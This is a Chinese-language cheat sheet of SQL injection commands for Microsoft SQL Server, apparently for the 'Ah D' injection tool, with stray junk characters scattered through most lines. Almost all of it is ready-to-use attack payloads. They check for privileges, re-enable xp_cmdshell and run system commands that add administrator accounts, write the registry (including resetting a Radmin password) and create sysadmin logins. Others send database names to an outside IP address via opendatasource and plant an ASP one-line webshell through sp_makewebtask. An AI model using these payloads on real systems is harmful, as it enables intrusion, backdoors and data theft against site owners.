阿D常用的一些注入命令
) R/ o, D+ Q+ _+ ~$ k) Y//看看是什么权限的
. q O1 Y6 h6 t" }$ J# }7 g; v5 Yand 1=(Select IS_MEMBER('db_owner'))
' D. ?7 n8 T) P8 uAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--- W7 R( w3 R& ]) | i% w: j
% M1 y3 S) U0 S/ ?# W
//检测是否有读取某数据库的权限
; Q8 Q4 S$ U4 N8 o4 Yand 1= (Select HAS_DBACCESS('master'))
# C# }* t( L8 Q+ X) P4 r; a7 sAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --; r2 s5 F8 j3 S
% }) Z, }/ A& [: u1 g
* q8 @$ ~- P4 J N! O数字类型: Y* O h" e' @& I
and char(124)%2Buser%2Bchar(124)=0
& J" p& Q d& M* X1 ~! J. |* D! F- ?2 M# t1 v* U
字符类型; ~* h3 r; r7 f& }. K
' and char(124)%2Buser%2Bchar(124)=0 and ''='5 ~" L/ \. h% V' ] d- _
+ ]; H4 Y, C, H' L' Q3 T& ]6 X
搜索类型7 g: j: a' g4 c- c* {
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
9 a! B% J1 S& R* P" Z% |9 f/ l; Z4 I% o( `
爆用户名
4 Q1 ~) }: X2 G1 ?2 R) cand user>0% P+ ]: S' N! x' A# ^9 [. b
' and user>0 and ''='/ K" n+ w7 }% X7 k
]& E2 N) W) h. n
检测是否为SA权限
( B( s* }8 R: B0 Q$ F5 Y; Oand 1=(select IS_SRVROLEMEMBER('sysadmin'));--0 o' I! @7 Q& N# V. o/ ^( |1 J
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
8 N) [9 G. P) R& \7 n" [# x, d! U+ v2 s! p
检测是不是MSSQL数据库
! @2 c9 U" V7 c+ e7 hand exists (select * from sysobjects);--
" V+ h9 W/ \, O$ s: G+ m9 g* I# A, _: F
检测是否支持多行; k; G( V% w# V) ?
;declare @d int;-- 1 H) N- N" Y, P6 M
. F6 f( N9 a. f: E
恢复 xp_cmdshell+ l( \5 G1 p! i% G4 u2 w8 N
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--2 o5 ]; E! n+ t) m0 G$ W
! h" X9 T* l( @' A: V. l1 ?
! h* Z$ J# p& b Q; d
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') ' \: s% m4 A- S- G3 e% p% c
- j" b/ ~' Y o3 x9 l//-----------------------' l- Y; c% a: f& C D' q3 G- m
// 执行命令6 v: R0 a) V4 k; j" n/ Y
//-----------------------! L( \) v9 a$ ]
首先开启沙盘模式:+ t, l4 Z( K* s% s
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
0 I; Z" h$ }0 x) @1 ^
3 f" a4 ^6 _/ }. R7 \' ^然后利用jet.oledb执行系统命令8 K( j' e) v& q4 n5 Z9 X4 a0 O
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
4 P/ c0 O2 e+ v3 i# q: g& O, i- _' b% v6 H- {
执行命令
3 k4 q' u2 D6 F j. a* \. V;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
, w3 ?6 L+ s/ Y% O, i: S) ~8 W# [* t2 d d M
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
/ `, {# k, c9 W! h* a5 y* d+ N! h1 d1 H
判断xp_cmdshell扩展存储过程是否存在: z; i5 s& c9 L+ c& F
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')0 K. ?: s2 D, J9 m# T: K( }. m
# ^% T5 S& i8 K5 N写注册表! ~3 K8 B7 j5 ~/ i* z t' N- {
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1$ B3 i4 ]1 s6 e
. x0 Y7 a; I$ L* \REG_SZ
9 T1 `" g+ J0 l7 M5 b: ~3 p
- P }: K$ d. A* g6 L( ^2 t读注册表
5 P* L* h% t8 |. k; \# X7 q% {4 iexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
. ?! X, _7 C& i" Y8 H W( k- A6 G" f i1 _( s6 C2 x0 Z1 i
读取目录内容
" R _" c9 T. {/ y& F0 ?, h" |% nexec master..xp_dirtree 'c:\winnt\system32\',1,17 g) `. p% q# V3 ]
7 g# C; o; r! L
: H/ v6 ?. u% o: K1 Z( Y7 j# B数据库备份: y2 P: N- I3 x5 ~
backup database pubs to disk = 'c:\123.bak'" \4 n+ |& _# v3 f8 M; S( r
Y' t( E3 m3 V//爆出长度
`6 E* Y# J# \% TAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
2 g. W' R; Q& ^( C& }5 M, w8 A% @! L5 M2 \. K- [, V
: M7 O' D+ b; m' M0 j
3 m* P3 I. V9 F2 D8 p6 S( f. F更改sa口令方法:用sql综合利用工具连接后,执行命令:! q% \ r [: I( R
exec sp_password NULL,'新密码','sa'
, l7 M1 J# `& R4 d" s% F9 `# N% A+ p R2 F! E+ f) T* p! X
添加和删除一个SA权限的用户test:
" f* B- d- G3 C$ ? xexec master.dbo.sp_addlogin test,ptlove
6 P& |0 R% O, {5 a2 @exec master.dbo.sp_addsrvrolemember test,sysadmin
6 I0 J% H5 F# u) e& c+ L6 M' C6 T) x1 r+ p2 n3 T- a
删除扩展存储过过程xp_cmdshell的语句: ; |: M S8 F5 K. K+ s5 v
exec sp_dropextendedproc 'xp_cmdshell'
/ k5 c: v7 L, ]& c( e6 j+ M* a8 c6 q0 W% g
添加扩展存储过过程
1 V* c, k4 T* }, E, `EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
4 S8 B, A1 K9 x# V' o* hGRANT exec On xp_proxiedadata TO public $ U& a/ g4 a. k9 o
0 U% H* x$ R# ~
, V4 X7 L/ V2 O
停掉或激活某个服务。 # s0 m' m5 j$ B1 V+ }/ C+ R4 {6 B7 T
" a- C* u: c" V9 R! Cexec master..xp_servicecontrol 'stop','schedule'' N# ?9 m5 s* K2 W$ u1 O
exec master..xp_servicecontrol 'start','schedule'1 P0 P6 ]2 Z4 [4 `! ?" H& {5 b
3 K7 ]9 G, o% ?$ L) @
dbo.xp_subdirs
% r& d' Y# v1 ~ a$ \( H; a% U6 @* }! d1 z
只列某个目录下的子目录。
0 R5 D8 W+ v! N. E* |xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
; `! n: i2 }# j: q1 K/ m
' ~4 K! \: r9 fdbo.xp_makecab2 l8 H1 U, v {. E" _' ^5 ~3 U
- u+ F g2 K. z: q1 z将目标多个档案压缩到某个目标档案之内。
( N$ u& R7 W/ k( m! T! b+ v所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
{' v }6 {; z- ^/ ]" a( k: v
" d' Q7 D3 H7 u1 mdbo.xp_makecab
9 F& N3 }, |8 C& w5 T'c:\test.cab','mszip',1,
$ W0 T0 P1 \* \3 h( J* {$ U'C:\Inetpub\wwwroot\SQLInject\login.asp',
2 `/ g: i6 H6 A/ g; V) b* z'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'9 V- v6 G8 P6 K- w, X( P1 \
7 t+ l7 X F Y8 U5 y& E
xp_terminate_process
: @6 j; {( o# M( i2 c8 P' X* k' Y; v5 ~2 t; U! _6 Q6 i8 s8 P
停掉某个执行中的程序,但赋予的参数是 Process ID。
/ U! q; s/ A( ]利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID& o- K" \% I6 W
: V2 y- I6 T4 H' _4 c$ Q( U2 R
xp_terminate_process 2484
: C0 G. ?# J" B3 L3 k/ @8 c, Y- {* O% [, _7 ~8 `& _
xp_unpackcab
8 o4 R: @6 e. _, d p
6 Q0 O4 i( L+ W; n解开压缩档。6 k3 p: R7 A9 F' E& n) V
6 G+ B- d l$ l. F( L
xp_unpackcab 'c:\test.cab','c:\temp',1
6 X$ ~6 T }1 n4 u) J5 [5 S* d/ J& X4 b% g S$ T
8 p. E- l4 B) O* @- `某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234; X6 p) O3 l' n
0 B) i5 T% Z4 |
create database lcx;
, z' r! ?7 Q; q9 E2 g& F" h' eCreate TABLE ku(name nvarchar(256) null);
( l' y- n/ [) ICreate TABLE biao(id int NULL,name nvarchar(256) null);
% \6 }1 {0 H# O. K5 ~
& H. y1 n3 T$ t/ V; N' ?//得到数据库名
& G/ b. b" F! O" P* j' Q- Rinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
1 g1 f) W: ]" A
9 n2 B8 Y: s* R% G! N# R! a# n* J$ L) o9 U4 [" ^2 y9 s& i% y, z
//在Master中创建表,看看权限怎样" E& H9 `5 P3 q
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
+ a# U1 h7 x3 l/ g$ J( {& I# z, O' t" O w6 d; }) g& N
用 sp_makewebtask直接在web目录里写入一句话马:. r- P! k6 w% D4 |4 ?. c' d: y' y1 U" E
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
0 L& D! }( K- J8 @ S% c# @- Z1 I( U/ A' B4 Z9 p
//更新表内容2 G; j: {! Z3 |. e- f
Update films SET kind = 'Dramatic' Where id = 123' I+ r3 L$ ^0 s: j! s$ `( M
! p4 V% R2 m: m8 N//删除内容; d" N) w1 k& Q- e+ R
delete from table_name where Stockid = 3 |